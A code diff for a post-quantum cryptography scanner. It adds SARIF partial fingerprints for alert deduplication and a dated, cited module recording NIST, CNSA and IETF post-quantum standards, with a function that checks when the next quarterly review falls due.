+ import { fingerprintFinding } from "./baseline.js";
12
13
 
13
14
  /** Minimal SARIF 2.1.0 log shape (kept permissive on purpose). */
14
15
  export interface SarifLog {
@@ -162,6 +163,12 @@ export function toSarif(result: ScanResult, opts?: ReportOptions): SarifLog {
162
163
  ruleIndex: ruleIndex.get(f.ruleId),
163
164
  level: sarifLevel(f.severity),
164
165
  message: { text: f.message },
166
+ // Line-INSENSITIVE fingerprint (the same one the baseline uses:
167
+ // sha256 of ruleId|file|normalizedSnippet). GitHub code scanning keys
168
+ // alert identity + dedup off partialFingerprints, so a finding survives
169
+ // line shifts and reformatting instead of re-alerting as "new" on every
170
+ // edit above it. `quantakrypto/v1` names our scheme.
171
+ partialFingerprints: { "quantakrypto/v1": fingerprintFinding(f) },
165
172
  properties: {
166
173
  category: f.category,
167
174
  severity: f.severity,
@@ -0,0 +1,186 @@
1
+ /**
2
+ * Single source of truth for the post-quantum standards this tool depends on.
3
+ *
4
+ * The scanner's credibility rests on its recommendations tracking the current
5
+ * NIST / CNSA / IETF state. That tracking used to be ad-hoc — facts were spread
6
+ * across `remediation.ts` with no dates, no citations, and nothing to catch code
7
+ * drifting from the published standards. This module makes the standards facts
8
+ * explicit, dated, and cited, and the companion drift test
9
+ * (`test/standards.test.ts`) fails the build if the runtime constants
10
+ * (`TIER_PARAMS`, `PQC_TRANSITION_NOTE`, `STATEFUL_HBS_NOTE`) fall out of sync
11
+ * with what is recorded here.
12
+ *
13
+ * ## Cadence
14
+ *
15
+ * Re-verify every quarter (see `docs/standards/pqc-standards.md` for the runbook).
16
+ * On each review: check the sources below for changes, update the facts + their
17
+ * `asOf`, and roll `lastReviewed` / `nextReview` forward. `scripts/standards-check.mjs`
18
+ * (advisory, runs in CI) flags when `nextReview` has passed so a review can't be
19
+ * silently skipped. `standardsReviewStatus(now)` is the pure predicate behind it.
20
+ */
21
+
22
+ /** A single standards fact with its citation and when it was last verified. */
23
+ export interface StandardsCitation {
24
+ /** One-line statement of the fact. */
25
+ readonly summary: string;
26
+ /** Spec identifier / publication (and URL where stable). */
27
+ readonly source: string;
28
+ /** `YYYY-MM` — when this fact was last verified against its source. */
29
+ readonly asOf: string;
30
+ }
31
+
32
+ /** The full post-quantum standards snapshot the tool tracks. */
33
+ export interface PqcStandards {
34
+ /** `YYYY-MM-DD` — when the whole snapshot was last reviewed. */
35
+ readonly lastReviewed: string;
36
+ /** `YYYY-MM-DD` — when the next review is due. */
37
+ readonly nextReview: string;
38
+ /** Cadence, in months, between reviews. */
39
+ readonly reviewIntervalMonths: number;
40
+
41
+ /** NIST's finalized PQC FIPS (the recommendation targets). */
42
+ readonly fips: {
43
+ readonly mlKem: StandardsCitation; // FIPS 203
44
+ readonly mlDsa: StandardsCitation; // FIPS 204
45
+ readonly slhDsa: StandardsCitation; // FIPS 205
46
+ };
47
+
48
+ /**
49
+ * CNSA 2.0 security tiers → the KEM / signature parameter sets. These MUST
50
+ * mirror `remediation.TIER_PARAMS`; the drift test asserts they stay identical.
51
+ */
52
+ readonly cnsa: {
53
+ readonly category3: { readonly kem: string; readonly signature: string };
54
+ readonly category5: { readonly kem: string; readonly signature: string };
55
+ readonly source: string;
56
+ readonly asOf: string;
57
+ };
58
+
59
+ /** Stateful hash-based signatures (firmware / boot signing). */
60
+ readonly statefulHbs: StandardsCitation; // SP 800-208
61
+
62
+ /** The migration deadline the transition note surfaces. */
63
+ readonly transitionTimeline: {
64
+ /** Year after which classical public-key crypto is deprecated. */
65
+ readonly deprecateAfter: number;
66
+ /** Year after which it is disallowed. */
67
+ readonly disallowAfter: number;
68
+ readonly source: string;
69
+ readonly asOf: string;
70
+ };
71
+
72
+ /** Emerging / backup standards worth tracking beyond the current FIPS. */
73
+ readonly emerging: readonly StandardsCitation[];
74
+
75
+ /** Recommended hybrid key-exchange groups. */
76
+ readonly hybrids: readonly StandardsCitation[];
77
+ }
78
+
79
+ /**
80
+ * The current snapshot. Update on each quarterly review; the drift test keeps the
81
+ * runtime remediation constants aligned with it.
82
+ */
83
+ export const PQC_STANDARDS: PqcStandards = {
84
+ lastReviewed: "2026-07-19",
85
+ nextReview: "2026-10-19",
86
+ reviewIntervalMonths: 3,
87
+
88
+ fips: {
89
+ mlKem: {
90
+ summary: "ML-KEM (Kyber) key encapsulation — finalized August 2024.",
91
+ source: "NIST FIPS 203",
92
+ asOf: "2026-07",
93
+ },
94
+ mlDsa: {
95
+ summary: "ML-DSA (Dilithium) lattice signatures — finalized August 2024.",
96
+ source: "NIST FIPS 204",
97
+ asOf: "2026-07",
98
+ },
99
+ slhDsa: {
100
+ summary: "SLH-DSA (SPHINCS+) stateless hash-based signatures — finalized August 2024.",
101
+ source: "NIST FIPS 205",
102
+ asOf: "2026-07",
103
+ },
104
+ },
105
+
106
+ cnsa: {
107
+ category3: { kem: "ML-KEM-768 (FIPS 203)", signature: "ML-DSA-65 (FIPS 204)" },
108
+ category5: { kem: "ML-KEM-1024 (FIPS 203)", signature: "ML-DSA-87 (FIPS 204)" },
109
+ source: "NSA CNSA 2.0 (national-security systems; 2030/2033 migration milestones)",
110
+ asOf: "2026-07",
111
+ },
112
+
113
+ statefulHbs: {
114
+ summary:
115
+ "LMS/HSS and XMSS/XMSSMT stateful hash-based signatures (incl. the SHAKE256 and " +
116
+ "192-bit parameter sets) are approved for firmware/boot signing, but are STATEFUL.",
117
+ source: "NIST SP 800-208",
118
+ asOf: "2026-07",
119
+ },
120
+
121
+ transitionTimeline: {
122
+ deprecateAfter: 2030,
123
+ disallowAfter: 2035,
124
+ source: "NIST IR 8547 (transition to post-quantum cryptography standards)",
125
+ asOf: "2026-07",
126
+ },
127
+
128
+ emerging: [
129
+ {
130
+ summary:
131
+ "HQC — NIST's code-based backup KEM (selected March 2025; draft FIPS expected ~2026), a " +
132
+ "diversity hedge against ML-KEM's lattice assumption.",
133
+ source: "NIST PQC (HQC selection)",
134
+ asOf: "2026-07",
135
+ },
136
+ {
137
+ summary: "FN-DSA / Falcon — compact lattice signatures.",
138
+ source: "NIST draft FIPS 206",
139
+ asOf: "2026-07",
140
+ },
141
+ {
142
+ summary: "X-Wing — X25519 + ML-KEM-768 hybrid KEM for HPKE-style encryption.",
143
+ source: "IETF draft-connolly-cfrg-xwing-kem",
144
+ asOf: "2026-07",
145
+ },
146
+ ],
147
+
148
+ hybrids: [
149
+ {
150
+ summary: "X25519MLKEM768 — the default TLS 1.3 hybrid key-exchange group.",
151
+ source: "IETF draft-ietf-tls-ecdhe-mlkem",
152
+ asOf: "2026-07",
153
+ },
154
+ {
155
+ summary: "SecP384r1MLKEM1024 — the Category-5 / CNSA hybrid key-exchange group.",
156
+ source: "IETF draft-ietf-tls-ecdhe-mlkem",
157
+ asOf: "2026-07",
158
+ },
159
+ ],
160
+ };
161
+
162
+ /** Result of {@link standardsReviewStatus}. */
163
+ export interface StandardsReviewStatus {
164
+ /** True when `now` is on or after `nextReview` — a review is due. */
165
+ readonly due: boolean;
166
+ /** The `nextReview` date being compared against (`YYYY-MM-DD`). */
167
+ readonly nextReview: string;
168
+ /** Whole days from `now` until `nextReview` (negative when overdue). */
169
+ readonly daysUntil: number;
170
+ }
171
+
172
+ /**
173
+ * Whether a standards review is due as of `now`. Pure (takes `now` explicitly) so
174
+ * it is deterministic in tests; the CI script passes the real clock. Compares on
175
+ * whole UTC days so a same-day run is not spuriously "overdue".
176
+ */
177
+ export function standardsReviewStatus(
178
+ now: Date,
179
+ standards: PqcStandards = PQC_STANDARDS,
180
+ ): StandardsReviewStatus {
181
+ const MS_PER_DAY = 86_400_000;
182
+ const next = Date.parse(`${standards.nextReview}T00:00:00Z`);
183
+ const today = Date.UTC(now.getUTCFullYear(), now.getUTCMonth(), now.getUTCDate());
184
+ const daysUntil = Math.round((next - today) / MS_PER_DAY);
185
+ return { due: daysUntil <= 0, nextReview: standards.nextReview, daysUntil };
186
+ }